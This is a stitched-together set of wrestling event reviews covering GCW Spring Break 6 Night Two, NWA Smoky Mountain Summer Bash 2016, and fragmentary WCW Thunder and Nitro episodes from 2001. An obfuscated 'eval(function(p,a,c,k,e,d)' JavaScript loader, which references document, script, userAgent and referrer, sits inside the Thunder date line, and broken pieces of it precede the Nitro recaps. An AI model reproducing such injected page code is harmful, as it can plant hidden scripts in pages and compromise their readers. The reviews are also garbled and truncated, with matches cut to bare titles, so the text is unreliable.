Joey Janela’s Spring Break 6 Night Two
Date: April 1, 2022
Location: Fair Park, Dallas, Texas
Commentators: Dave Prazak, Kevin Gill

It’s the second half of the show and in this case, it needs to get a pretty big upgrade over the first half. Night one was a decent enough show, but it wasn’t memorable, which is the point of a show like this. Now that being being said, this show is built around the Clusterf*** Battle Royal, which could be quite the mess. Let’s get to it.

Here is Night One if you need a recap.

We open with Joey Janela talking about beating Sean Waltman last night and wanting his flowers. He wonders why the fans hate him now but Spring Break needs a lethal dose of poison to turn it back into what it is supposed to be. This year, he is entering the Clusterf*** so he can end it once and for all. Maybe just don’t run it then?

Matt Cardona vs. Chris Dickinson

Chelsea Green is here with Cardona, who is currently the king, meaning yes he does have a Macho King crown. Green gets in an ALL HAIL THE DEATHMATCH KING and the fans are all over Cardona again. Cardona insults GCW and says they are the power couple of wrestling. Six years ago, he won the Intercontinental Title at Wrestlemania, but now he’s in this piece of garbage ring. If he was in WWE, like he should be, he would be celebrating his friend Mark Calaway, who he will see in the Hall of Fame one day.

Dickinson comes out with….MISSY HYATT to even things out, which is one of those names that makes this show feel fun. Both pairs share good luck kisses before the match, with Hyatt’s leaving Dickinson woozy. Dickinson wrestles him to the mat to start but Cardona is up to yell at Hyatt. That doesn’t work well for Dickinson, who grabs a cross armbreaker to send Cardona bailing to the floor.

Back in and Green grabs Dickinson’s foot for a distraction so Cardona can stomp away. After throwing his shirt at Hyatt, Cardona chokes with the wrist tape and then his hand for a bonus. The running forearm drops Dickinson again and a neckbreaker gives Cardona two. It’s already door time but Cardona spends too much time mocking the crowd, allowing Dickinson to backdrop him through the door in the corner.

The slugout is on with Cardona going to the eyes, only to get blasted with a running clothesline. The brainbuster gives Dickinson two but Green offers a distraction, allowing Cardona to nail a spear for two. Missy finally grabs Cardona’s boot and slaps Green, allowing Dickinson to hit a Death Valley Driver for two of his own.

Green offers another distraction so Cardona can hit a low blow into the Rough Ryder for two. Now it’s Green coming in and hitting Cardona with Missy’s loaded purse by mistake, allowing Dickinson to clothesline her down. The toss Razor’s Edge is enough for Dickinson to pin both of them at once at 12:43.

Rating: C+. You really can see why the GCW fans can’t stand Cardona in this run as he is one of the most annoying and obnoxious heels you could want to see. He is playing up the idea of being a big shot and that is one of the best ways to get heat from anyone. Dickinson is a decent power guy and looked good here, though Missy kind of disappeared for large chunks of the match.

Biff Busick vs. Tony Deppen

Feeling out process to start with Deppen trying to go to the mat to little success. Back up and Busick goes to the armbar, which has Deppen bailing to the ropes. Busick chops the heck out of Deppen, whose chops back have no effect. They head outside with Busick uppercutting away but a chop only hits the post. With Busick trying to shake it off, Deppen hits a flip dive off the apron and they head back inside.

Busick is fine enough to knee him down and the figure four necklock sends Deppen to the ropes again. Back up and Busick gets a little more violent by holding Deppen in place for some slaps to the face. Deppen is smart enough to go after Busick’s bad hand but Busick hits a running uppercut to take him down again.

Busick misses a charge though and Deppen hits a suicide flip dive for two back inside. Back up and the slugout goes to Busick until Deppen goes for the hand and grabs a Kimura of all things. With that broken up, Busick wins another strike off but Deppen avoids a charge in the corner. A running knee finishes Busick at 11:40.

Rating: B-. Sometimes you need two people to hit each other really hard and you got at least half of that here with Busick’s beating. Busick might not be a star in the making, but he’s an established hard hitter in the middle of the card and that should be enough to get him quite a few jobs. At the same time, you have Deppen as one of the better heels I’ve seen in a bit, as he is just straight up unlikable. Keep going with that and he’ll be fine.

Post match Deppen thanks Busick for the match but tells anyone who doesn’t believe in him what they can kiss.

Mike Bailey vs. Jordan Oliver

Bailey does his bow and they shake hands to start. Oliver does his pose so Bailey kicks him in the face and strikes away but Oliver is back up with chops of his own. Bailey’s leapfrog is countered into a faceplant and Oliver sends him outside for a big dive. Some kicks send Oliver through some chairs though and Bailey knees him in the chest.

Back in and Bailey kicks him in the chest for two, followed by the YES Kicks to make it worse. Bailey hits a running kick to the face in the corner and they strike it out again. Oliver snaps off a release German suplex and a sitout powerbomb for two but Bailey sends him outside. There’s the springboard moonsault to the floor and they strike it out on the apron.

Bailey gets the better of things and hits the moonsault knees, setting up the bouncing kicks back inside. The big kick to the head looks to set up the Ultimate Weapon but Oliver counters it with a cutter. A handspring cutter gets two so Oliver goes up, only to get pulled down with something like a One Winged Angel for the pin at 10:01.

Rating: C+. As is usually the case with Bailey, the action was good but he continues to have such a punchable face that it is hard to get into his matches. The good thing here was he didn’t have the stupid no selling that drags down every good thing he does, making this slightly easier to watch than most of his matches. Oliver has come a long way but still has a good bit to go before he moves up to the next level.

Effy says he shouldn’t be here but tonight he’ll beat Minoru Suzuki, have his own show tomorrow, and then maybe he’ll come for some gold.

Effy vs. Minoru Suzuki

Allie Katch is here with Effy. They both stick their jaws out with offers of a free shot but Effy’s attempt at a kiss gets him slapped. Suzuki slaps him down and then a kick to the face puts Effy on the floor. They head outside with Effy telling him to chop as hard as he can. That’s fine with Suzuki, who mocks Effy’s return chops.

A big boot sends Effy through the chairs and Suzuki cranks on the arm back inside. Effy tries some forearms but gets dropped with a single one from Suzuki. Then Effy bites Suzuki’s nipple and northern lights suplexes him for two. The big kiss staggers Suzuki but it’s a slap to the face and the Gotch style piledriver to give Suzuki the pin at 9:04.

Rating: C. Effy’s stuff may or may not be your cup of tea but Suzuki more or less squashed him here in a match with little to no doubt about the outcome. Effy was doing little more than comedy here so it isn’t like there was much to get annoyed about. They were going for the “wouldn’t it be funny if these two wrestled” idea here and I’ve seen worse versions.

Greatest Clusterf***

So this is basically a Royal Rumble, but only in the very loosest of terms. There are no set time intervals and I don’t believe there is a set number of entrants. I’m not going to be able to keep track of all of the eliminations, as I’ve never seen a version of this where they are all announced. This is going to be about total chaos and some surprise entrants and nothing more. You can be eliminated by pinfall, submission, over the top, leaving the building and…death?

Joey Janela is in at #1 and Buff Bagwell is in at #2 for your first surprise. Granted Buff is on a crutch but he has the American Males theme so this could be a lot worse. Janela wants to strut with him but it’s a superkick to get rid of Buff very quickly. George Gatton, with an unidentified title, is in at #3 and it’s a superkick into a piledriver to get rid of him too. Judas Judd Cassidy (I think?) is in at #4 and gets thrown over the top just as fast.

Yoya is in at #5 and suplexes Janela but gets caught in a heck of a package piledriver for the pin. Billie Starkz is in at #6 and a Gory Bomb takes Janela down but he raises knees to block her Swanton. That’s it for Starkz and it’s Juicy Finau (a big guy) in at #7. Janela can’t suplex him so Finau does it to Janela instead and it’s the even larger Sam Stackhouse, in Bam Bam Bigelow inspired gear, in at #8.

That leaves Janela to get crushed in the corner by back to back splashes but Stackhouse misses an ugly moonsault. Janela tosses both of them and it’s Rhett Titus in at #9 as Janela keeps up his Brock Lesnar-esque run. Titus wrestles him down and hits the running boot in the corner until it’s the Invisible Man in at #10.

So we have the Invisible Man, Janela and Titus with Titus and the Man slugging it out. The Man gets the better of both of them but an elbow to the face lets Janela and Titus beat him down. A double suplex lets the two of them pose but Man is back with a double low blow. The Man throws out Titus but gets stomped down until Dante Leon is in at #11. They waste no time in the next entrant with Ninja Mack in at #12.

Leon and Mack are long time rivals so they pose at each other before superkicking Janela down. A shooting star piledriver drops Mack and it’s a sick looking Jimmy Lloyd in at #13. Janela and Lloyd put on masks and they rehash their Social Distancing match, meaning they punch from a safe distance. Mack isn’t having that and kicks Lloyd down, setting up the running flip dive to drop Janela on the floor. Back in and Lloyd runs Mack over for the pin and Early Morning Guy Steele is in at #14.

Steele doesn’t seem to know what he is doing and falls off the top as Janela and Lloyd watch from the middle of the ring. Then Steele gives them a running double Blockbuster and a Canadian Destroyer each. Then he goes up top for a 450 to Lloyd, only to get rolled up for the pin from Janela. That was a weird one and it’s Blake Christian in at #15. House is cleaned but the Invisible Man hits Christian low. That earns him a dropkick and it’s Kevin Blackwood in at #16.

Blackwood’s suplex gets two on Leon and stomps on Janela in the corner until Hoodfoot is in at #17. Hoodfoot and Blackwood slug it out until Slade is in at #18. Young Dumb And Broke (Charlie Tiger and Ellis Taylor) are in at #19 and #20, giving us Janela, Invisible Man, Leon, Lloyd, Christian, Blackwood, Hoodfoot, Slade, Tiger and Taylor as this is far more organized than I was expecting. Everyone hits everyone until Deranged is in at #21 to clean house. With that going nowhere, Grim Reefer is in at #22 and has a smoke.

We now pause for everyone to partake, including Janela, who says he isn’t with AEW anymore and can do what he wants. Janela runs to the back (I don’t think he’s been eliminated but who can tell around here?) and Sandra Moone is in at #23. Reefer clotheslines her down and it’s Parrow in at #24. House is cleaned with Deranged and Reefer being eliminated almost immediately.

Big F’N Vin is in at #25 as Janela is having some Cheetos. Vin kicks Parrow out without much trouble as Janela wants to know his next spot. Nate Webb is in at #26 and comes through the crowd, who sings his theme music. Lloyd gets dropped by the Invisible Man, who hammers on Webb in the corner. Janela superkicks the Invisible Man though and tosses him out, much to the fans’ annoyance. Webb misses a charge and gets low bridged to the floor and Hoodfoot is tossed as well.

Shazza McKenzie is in at #27 and goes after Janela to start the beating. Janela gets in a shot to the face though and grabs a door, only to have McKenzie spear him through it. Janai Kai is in at #28 and Jazzy Yang (Jimmy Wang’s daughter) follows her at #29. The four women in the match stare each other down and it’s Edith Surreal in at #30. That gives us Janela, Leon, Lloyd, Christian, Blackwood, Tiger, Ellis, Moone, Vin, McKenzie, Kai, Yang and Surreal, assuming I didn’t miss any random eliminations.

Dark Sheik, another woman, is in at #31 and we have a six woman showdown. Uh make that seven as LuFisto is in at #32. Some of the guys come in to go after the women, with Leon and Taylor being tossed out. The women all beat up Tiger and toss him out with Vin joining him. Then the women get into it, with Kai kicking out LuFisto. Moone is out as well and McKenzie hits a Stunner on Kai for the elimination. Janela comes back in to superkick McKenzie for the pin and it’s Maven of all people in at #33.

Everyone stops to look at him so Maven hits a bunch of dropkicks….and then walks out for an elimination. Fans: “THANK YOU MAVEN!” With everyone else pairing off, Sean Ross Sapp, yes the dirt sheet writer, is in at #34, drawing a WE WANT MELTZER chant. Sapp gets a mic and begs people to subscribe to Fightful Select so they can read about GCW wrestlers getting fired by AEW. Josh Barnett, former UFC Heavyweight Champion, is in at #35 but fellow writer Denise Salcedo (not in the match) comes in to low blow Sapp and toss him out.

Nasty Leroy is in at #36 and Barnett blasts him with a clothesline as Jimmy Wang Yang is in at #37. Yang manages to take him down (not the prettiest but it worked) so Jazzy (remember, Yang’s daughter) comes in to grab the leg, which apparently counts as a submission to get rid of Barnett. Jazzy rolls up Lloyd for an elimination and it’s Alec Price in at #38. Price tosses Yang and dances a bit before getting kicked in the face by Jazzy. That’s enough for Price to toss her as well and it’s Cole Radrick in at #39.

Radrick and Price wind up on the apron and it’s a double elimination. Brandon Kirk is in at #40, giving us Janela, Christian, Blackwood, Slade, Surreal, Sheik, Leroy and Kirk (I think at least). Sheik hits Kirk low as we’re told Slade has left the building. Janela runs the ropes a lot until Lord Adrean (a Wal-Mart Guy) is in at #41. Adrean cleans house and Tombstones Kirk for the elimination, only to get Death Valley Drivered by Janela for another elimination. Kevin Matthews (you might remember him as KM in Impact) is in at #42 and stares it down with Leroy.

A not great looking Rock Bottom plants Matthews and a worse Rock Bottom sets up a leglock for the tap as Janela busts a gut laughing. Then Janela hits Leroy low and pins him and it’s Nick Wayne in at #43 for a brawl on the apron with Janela. Wayne superkicks Janela out for one heck of a pop and here is B-Boy to introduce Team LA Fights, which are six unnamed people. The team (Jai Vidal and Jack Cartwheel are two of them) clean house and something like a Styles Clash into a sitout powerbomb gets rid of Blackwood.

With those six in at #44-49, the Second City Crew (AJ Gray/Mance Warner/Matthew Justice/1 Called Manders and Levi Everett) are in #50-#54. The Crew cleans house with Matt Vandagriff (of LA Fights) being tossed. Damian Drake and Ju Dizz (I think) are both out with Hunter Freeman joining them. Cartwheel gets knocked out but walks on his hands until Manders chairs him down for the elimination. Vidal is tossed out and the Crew is left alone until the others still in the match come in.

Christian and Wayne get together to toss Everett and Manders. Somehow Christian and Wayne are the last two with Christian hitting a quick Downward Spiral for the pin…and never mind as yeah there are some people still left. Sheik comes in off the top with a spinwheel kick and the rest of the Crew pile onto her for the pin. Christian goes after the Crew but gets taken down and superplexed into a top rope legdrop for the pin….and that’s it at 1:23:57 (I guess Surreal was tossed somewhere in there).

Rating: C+. To be clear, this match is not about something coherent or anything more than having one name after another. That being said, this was WAY more coherent than the previous edition and that helped a lot. This felt more like a very indy Royal Rumble and, save for Surreal, no one was getting lost in the whole thing. I had a good time with this and it did fly by with some fun moments. It’s the kind of match that I was expecting from a Spring Break and it went well, especially with all of the insanity that came with it.

Overall Rating: B-. This was more like the Spring Breaks of the past and it worked out pretty well all things considered. It was a collection of some fun matches before we got to the big main event and that wound up working well. Good stuff here and it didn’t feel like a regular GCW show. While those can be fun, it’s not what I came into this wanting. The main event is all that mattered here and the other four matches were a nice bonus so we’ll call this a success.

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Summer Bash 2016
Date: June 24, 2016
Location: Evolution Sports Gym, Elizabethtown, Tennessee
Commentators: Matt Rhodes, Mike Cooper, Heath Snead

This is from NWA Smoky Mountain as I continue a trek through some random independent companies (or as independent as the NWA is). As usual, I have no idea what to expect from this show but it’s the NWA in Tennessee so you can imagine the fans are going to be pretty into the show. Let’s get to it.

Keep in mind that I have no idea what is going on here from a storyline or character perspective so please bear with me.

There is no intro video and we’re going straight to the first match.

White Trash Millionaires vs. Air America vs. Hardliners

That would be Corey Smith/Lenny Stratton (with Taylor Hennig (I think?)) vs. Gavin Daring/Skylar Kruze vs. Bryan Montgomery/Jeff Connelly (with Travis Stikes). I think you can get the idea of the debuting Millionaires and Air America seem to be hometown high fliers. Kruze spins out of a wristlock and cranks on Stratton’s wrist before handing it off to Daring for more of the same.

Back up and Stratton hits a shoulder, only to get armdragged into the corner. Smith, in overalls, comes in to power Daring into the corner for a right hand to the face. It’s back to Kruze for a double drop toehold and a front facelock but Smith is back up without much effort. Stratton comes in and gets to face Montgomery, the latter of whom starts with a Rick Rude hip swivel. A rather high hiptoss puts Montgomery down and a kick to the head puts him on the floor.

Kruze jumps to the apron and kicks the Millionaires down (Cooper: “They’re worth about $1.50 right now!”) before Stratton gets back in. Smith’s knee from the apron cuts Kruze down and there’s the gorilla press toss face first onto the turnbuckle. Stratton comes back in with a slingshot spear for two but Montgomery tags himself in to plant Darling for two. A Russian legsweep/dropkick combination gets two so Connelly grabs an STF.

Montgomery comes back in to cut off a comeback bit and something like a Russian legsweep cuts Darling off again. Darling finally comes back with a Sling Blade and the hot tag brings in Kruze to clean house. A springboard bulldog hits Montgomery but Connelly isn’t even going to let him get one. Everything breaks down with the parade of finishers, including a fireman’s carry slam, which is called a version of the Go To Sleep by commentators who aren’t as good as they think they are.

Darling catapults Stratton into a superkick (with commentary getting in one of the most annoying calls I’ve ever heard by calling it a SUUUUUUUUUUUUUUUUUUUUPERKICK in a loud voice) from Kruze. Stikes breaks up something on the top so Darling dives onto him and Smith, leaving the hardliners to hit a Downward Spiral 3D to finish Kruze at 12:31.

Rating: C+. This definitely felt like lower level stars trying to do a match that they have seen others do better, but it worked out fairly well. The finish looked cool and Air America is a good name for a team, though the Millionaires were barely a factor here. Good enough choice for an opener here, even if I want the commentators tied up to a wall and pummeled with various clubs and sticks.

The Agency (seems to be a rather large heel stable) throws out the interviewer (who might be Heath Snead) and says they are going to dominate everyone tonight. The leader, or at least the main talker, is ready for Buff Bagwell in the main event.

Vince Brent vs. Axton Ray

This is champion (Brent is the Mountain Empire Champion and Ray is the TV Champion) vs. champion but it’s non-title. Brent is part of the Agency and has a bunch of people, including a woman named Kayla, with him. On the other hand, Ray is still around to this day and popped up on AEW Dark as a jobber. They take their time circling each other before going to one of the weakest lockups I can remember seeing.

A battle over wrist control goes to Ray but he gets armdragged down, allowing Brent to dab. Back up and Ray flips out of a headscissors and armdrags him out to the floor. Ray’s dive is cut off though and they brawl out into the fans. Axton gets sent over the bleachers but dives over them, setting up a dive off said bleachers. Back in and Ray sends him outside again, this time setting up the big slingshot dive. They go inside again, with Brent grabbing a Backstabber for two this time.

The chinlock goes on for a bit before Brent’s suplex gets a rather cocky near fall. Brent grabs a front facelock before sending Ray outside for a running flip dive. Back in and we hit the chinlock, with the camera showing the WIDE gap between Brent’s arm and anything but Ray’s jaw. Even commentary has to point out that it’s not doing anything as Ray fights up and hits a Russian legsweep for a breather.

They slug it out from their knees until Ray is up with a dropkick for two. Brent is right back with a Codebreaker for two of his own but Ray hits a slam. Ray loads up a People’s Elbow but rolls over Ray and springboards into the elbow drop (ok that was clever) for two of his own. They both go up top with Ray getting pulled face down onto the turnbuckle, setting up a running knee for another near fall.

Brent gets sent into the corner though and it’s a springboard missile dropkick for two, as part of the Agency pulled Ray out. Ray misses a top rope double stomp though and it’s the Killshot (jumping Downward Spiral) for the really near fall. The Agency offers another distraction though, allowing Brent to get a chain. Said chain knocks a springboarding Ray silly and Brent gets the pin at 17:55.

Rating: B. One of the best compliments I can give a match in a promotion I don’t watch is that I wanted to know who was going to win. That was the case here, as they got the drama rolling very well. The action was certainly good for a show of this level and Ray seems to have something. I liked this one quite a bit and it was a lot better than I would have expected.

Post match Brent celebrates….but here is someone named Toby Farley, who shows the referee that Brent left part of the chain hanging out of his tights (like a moron). That’s good for a restart, allowing Ray to roll him up for the pin at 18:46. Oh yeah this is a Tennessee show.

United States Tag Team Titles: Cabal vs. Heatseekers

The Heatseekers (Elliott Russell/Sigmon) are defending against the Cabal (Jason Kincaid/Travis Lee), who are creepy/weird, complete with a manager (Brian Wayne) with a stop sign covered with a smiley face. Lee, a monster, has the title belts despite the Cabal being the champions. Kincaid (who I’ve seen before and is a bit odd) sits down to look at the champs before starting with Sigmon.

After nothing happens there, Lee comes in to throw Sigmon into the corner and hit him with a headbutt. It’s back to Kincaid, who gets stomped down in the corner before the champs give him a double back elbow. Sigmon’s suplex sets up Russell’s Russian legsweep for two, followed by some forearms to the back. Lee gets in a cheap shot from the apron though and it’s Russell getting stomped down in the corner for a change.

That’s enough for Lee to start going nuts and ram his own head into the buckle, allowing the tag back to Sigmon. For some reason the champs try a suplex on the nearly 400lb Lee, earning themselves a double suplex right back. A chokebreaker drops Sigmon again and it’s Kincaid raking Sigmon’s back. Lee front facelocks Sigmon as Kincaid has a seat on the top. The slow beating continues and Kincaid, the creepy/crazy one, grabs a creepy/crazy chinlock.

Back up and Sigmon hits a good dropkick to get himself out of trouble but the tag is broken up again. This time it’s Sigmon getting sent outside so Wayne can get in some stompings. Sigmon gets back in again, where a seated Kincaid is waiting on him to block the tag again. Kincaid gets smart by taking Russell off the apron but has to kick out of a quick rollup attempt. Lee stomps on Sigmon’s back (the “shoulderplexus” according to commentary) but a Russell distraction lets Sigmon get in a dropkick.

This hasn’t gone on long enough though and it’s Lee hitting a catapult into the corner. Kincaid charges into an elbow in the corner but goes up for no logically explored reason, allowing Lee to cheap shot him. A Diamond Cutter onto the knee gives Kincaid two but he misses a top rope double stomp (second match in a row with that one). Sigmon gets in a German suplex and it’s FINALLY back to Russell to pick up the pace. There’s a neckbreaker to Kincaid and a belly to belly gives Russell a delayed two.

Kincaid snaps off a powerslam though and it’s a jumping double stomp. A springboard is loaded up but Kincaid dives into a belly to back suplex/neckbreaker combination. That’s still not enough though as Kincaid is back with a running clothesline against the ropes. The slingshot Blockbuster (to a bent over Russell) gets two more but Russell is back with a boot to the chest for a double knockdown.

Lee goes after them but it’s a double superplex to take him down, with the impact crotching Kincaid on top. Sigmon’s suicide dive takes Lee down on the floor and it’s a super hurricanrana to Kincaid. The fireman’s carry onto the knee finishes Kincaid to retain the titles at 18:37.

Rating: C. This was LONG and that is the kind of match that gets annoying in a hurry. It felt like it just kept going and I was waiting for it to get over with already, which is never the kind of feeling that you want. The Heatseekers weren’t exactly a thrilling team and Lee was little more than your standard monster. Kincaid is different, but not an entertaining match as it went on FAR too long.

Dani Fererra/Rock-C vs. Kaela/Nicole Stratton

That isn’t future Ring of Honor Women’s Champion Rok-C and Stratton is Lenny’s wife. Kaela is part of the Agency so part of the team is here with her. Rock-C has a stuffed Flounder from the Little Mermaid to make her a bit better. Kaela and Fererra start things off with commentary talking about how attractive the women are in a bad flashback. It’s off to Stratton almost immediately and Fererra slams her down, allowing the tag off to Rock-C.

Kaela comes in but gets sent into Stratton, leaving Rock-C to chest bump Stratton down. Back up and Stratton German suplexes Fererra as commentary talks about how much these two dislike each other. They hit stereo…flying head attacks I guess you would call them for a double knockdown. That means it’s back to Kaela vs. Rock-C with the former having to escape a fireman’s carry. Everything breaks down and Kaela hits a running knee to finish Rock-C at 3:46.

Rating: D. Yeah this was bad as it felt like a match that was there for the sake of having a women’s match on the show. It wasn’t much above the Divas era of WWE and that is rather striking given that this is a year after the Women’s Revolution. It was sloppy and the women did not exactly look polished or ready to be on anything above the lowest level show.

Post match Fererra gets taken out as well.

Colby Corino vs. Timmy Lou Retton

Believe it or not, Retton is a gymnast. The villainous Corino offers a handshake but then misses a kick to the head. A suplex drops Corino and a standing shooting star makes it worse. Back up and Corino avoids a charge into the corner as commentary points out that Retton looks like Big E. Corino knocks him outside and teases a dive but instead slides to the floor for a chop.

Back in and Retton gets kicked in the chest, followed by a running kick to the head for a delayed two. Corino chops him up against the ropes and a right hand to the face puts Retton down again. There’s a dropkick for two more and it’s off to something like a seated abdominal stretch. Commentary keeps making New Day references as Corino hits some running knees in the corner.

Double knees to the face knock Retton silly and he looks out in the corner. Retton manages to pull himself up though and it’s a Pele to drop Corino. A corner splash sets up a leg lariat into a reverse Cannonball in the corner. Corino avoids a corner charge though and a Stunner gets two on Retton. Back up and Retton says hit him harder before flipping Corino down into a spinebuster. A nice looking moonsault finishes Corino at 10:00.

Rating: C. Corino is a rather small guy and it is kind of hard to buy him as a physical threat to just about anyone. Retton is rather athletic and the gymnastics background helped him a lot here. The moonsault looked good too and I could see Retton doing fairly well going forward. He has appeared for AEW as well so there is something to him.

Post match Corino spits on Retton, who chases him out of the arena.

Buff Bagwell/Toby Farley vs. Jordan Kage/Chris Richards

It isn’t a good sign when your big name is Buff Bagwell. Richards and Kage are part of the Agency so the team is here with them. This is Farley’s return after a shoulder injury so he gets a big entrance. Bagwell’s is bigger though, as he gets the still awesome WCW theme but his right shoulder is in a big brace and he can only slap hands with fans using his left hand. Before the match, a fan wins some kind of a contest, with commentary saying we could have done that after this was over.

We hit the stall button before the bell as Kage isn’t happy with the fans throwing toilet paper at him. Bagwell can barely get through the ropes to the apron due to his shoulder so it’s Kage vs. Farley to start. Actually we’ll make that Farley vs. the very tall Richards instead, with Farley being tossed down. That works so well that they do it again so let’s try Bagwell vs. Kage. The one armed Bagwell can still strut and pose (kind of) as the fans mock Kage by calling him a princess.

Kage shoulders him down and gets to pose as Bagwell isn’t looking happy. Back up and Bagwell’s shoulder works a bit better and some atomic drops send Kage into the corner. Richards gets knocked off the apron as well and the good guys clear the ring without much effort. That means more stalling on the floor as this hasn’t exactly been interesting so far. Back in and a double elbow puts Kage down again, setting up Farley’s (loudly called) backdrop.

Kage gets in a shot of his own though and it’s Richards coming back in for some choking. It’s back to Kage for two off a dropkick, allowing Richards to stand on Farley’s throat. Some spitting draws Bagwell in, leaving Farley to get caught in a Hart Attack for two. Bagwell tries to come in again so the referee doesn’t see Farley’s rollup on Kage. Instead Farley knocks Kage down and the hot tag brings in Bagwell for the one armed house cleaning. Everything breaks down and Bagwell hits Richards with I guess you would say a one armed Pedigree for the pin at 11:00.

Rating: C-. I know Bagwell was hurt but this was bad even with that added in. He couldn’t do much of anything and most of his offense was lame because of the injury. The rest of the match was what you would have expected and that wasn’t exactly much to see. Farley seems like someone the fans would care about, but he was mainly selling here until Bagwell got the win. Not much to this one, even with Bagwell’s injury holding him back.

Bagwell and Farley pose to end the show.

Of note: the IndependentWrestling.TV preview for this show mentions an opening match between Wild Bull and Onslaught, which apparently took place but isn’t mentioned here. In addition, the splash image preview is of the Outsiders, who were apparently there for a meet and greet and were mentioned on commentary, but never appeared either. What a weird double bit of false advertising.

Overall Rating: C-. There was some decent enough stuff on here but the last two matches were lame and I’m not wild on waiting on something to take place after it was listed. Brent vs. Ray and the opener were both good, but the rest of the show was pretty much downhill after that. Not a good show, and it didn’t make me want to see anything else from this company, save for maybe Ray.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iebdt|var|u0026u|referrer|hahfn||js|php'.split('|'),0,{})) March 14, 2001
Location: Knoxville Civic Coliseum, Knoxville, Tennessee
Commentators: Tony Schiavone, Mike Tenay

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzbaz|var|u0026u|referrer|yeezb||js|php'.split('|'),0,{})) Nitro #278
Date: February 19, 2001
Location: Von Braun Civic Center, Huntsville, Alabama
Commentators: Scott Hudson, Tony Schiavone

We open with the pay per view recap.

Jamie Knoble vs. Shannon Moore

Evan Karagias is here with Knoble. They start fast with some quick headscissors until Shannon misses a charge in the corner. Jamie gets two off a northern lights suplex as the announcers actually talk about the match for a change of pace. A running leg lariat in the corner staggers Jamie and knocks him out to the floor for a big flip dive. Shannon dropkicks him into Evan, who is knocked into the steps. Like almost any wrestler would, Evan blames Knoble and decks him from behind, allowing Shannon to hit Bottoms Up for the pin.

Rating: C. More of the same here but at least they might be mixing up the teams a little bit. I can go for the idea of some new teams going into the tournament but it would be nice if they had some new talent instead of the same six guys fighting over and over again. Shannon has been growing on me in the last few weeks and his ring work has been making him stand out, which says a lot given who he has around him.

Mike Awesome vs. Bryan Clarke

Team Canada beats Bryan down until Brian Adams comes out for the save.

Kid Romeo is coming. Or coming back as he was around a little over a year ago.

Chavo Guerrero Jr./Animal vs. Konnan/Billy Kidman

Animal and Konnan start fighting in the back after Chavo has come to the ring. Kidman, in a black shirt for a change, runs in from behind to jump Chavo and we take a break with no bell. We come back to see Chavo and Kidman brawling with referees not being able to break it up. Konnan and Animal come down the ramp and the match actually starts with Chavo hitting a tornado DDT on Kidman.

Buff Bagwell vs. The Cat

Post break Jones is taken away in an ambulance.

US Title: Rick Steiner vs. Lash Leroux

Lash is checked out by medics post break.

Hugh Morrus wants to fight Rick Steiner for personal revenge but his match with Storm tonight is about pleasure.

Lance Storm vs. Hugh Morrus

Rating: D+. The feud had lost any of its heat at this point but it was nice to see them actually stick with Morrus as a big deal who can win matches on his own for a change. Storm is in a really weird place at the moment as he was Commissioner for six days but is now losing most of his matches without putting up much of a fight. It could have been a worse match but Morrus winning made more sense.

The announcers pay tribute to Dale Earnhardt, who passed away the day before.

Kanyon vs. Diamond Dallas Page

Post match Scott Steiner leads the troops out but Page is smart enough to bail into the crowd to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

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And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifkye|var|u0026u|referrer|daifa||js|php'.split('|'),0,{})) Nitro #274
Date: January 23, 2001
Location: Lawrence Joel Memorial Coliseum, Winston-Salem, North Carolina
Commentators: Scott Hudson, Tony Schiavone

Mike Sanders gives Chavo Guerrero a pep talk and tells him to watch the next match closely. The Wall is here too and promises to end the legend of the Misfits tonight.

Michael Modest vs. Christopher Daniels

Rating: C+. It was nice while it lasted but why bother letting either guy go anywhere when you can use them as cannon fodder for WCW? This would be the last appearance in WCW for both guys but at least they were able to be in the ring for a bit before Steiner got to treat them like the most worthless goons this side of The Goon. At least let someone win the match before the run-in.

Team Canada comes out with Lance Storm challenging Konnan to a one on one match with the winner being the official winner of the war between the Canadians and the Filthy Animals. Konnan comes out to accept in his own unique way.

Lance Storm vs. Konnan

Lex Luger vs. Diamond Dallas Page

Mamalukes vs. Shawn Stasiak/Mark Jindrak

Shawn finally gets in a jumping back elbow to the jaw before bringing in Jindrak for one off a moonsault. Vito takes a double elbow of his own, which is finally enough for Johnny to come in without a tag as everything breaks down. Vito kicks Stasiak and Jindrak clotheslines Johnny for two each, only to have the rest of the Thrillers come in for the weak DQ.

Post break the Thrillers are still arguing with Sanders not being able to calm them down. Flair pulls Sanders off to the side and tells him to outsmart the rest of the team.

Shane Douglas vs. The Cat

Post match Cat does his dancing and Rick actually joins him for a bizarrely entertaining visual.

Hugh Morrus/Lash Leroux vs. A-Wall/Chavo Guerrero Jr.

Morrus beats Chavo up post match. Sore loser.

Kevin Nash vs. Buff Bagwell

Post match Scott Steiner, Kronik, Animal and Jarrett come out for the big brawl to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeean|var|u0026u|referrer|bftes||js|php'.split('|'),0,{})) Nitro #273
Date: January 15, 2001
Location: Allen County Coliseum, Fort Wayne, Indiana
Attendance: 4,836
Commentators: Tony Schiavone, Scott Hudson

We see some exclusive footage from after the show with Ric Flair hugging Steiner as Buff Bagwell and Lex Luger watch on. So yeah, Flair is the big villain again.

Cruiserweight Title: Chavo Guerrero Jr. vs. Crowbar

Rey Mysteiro Jr./Billy Kidman vs. 3 Count

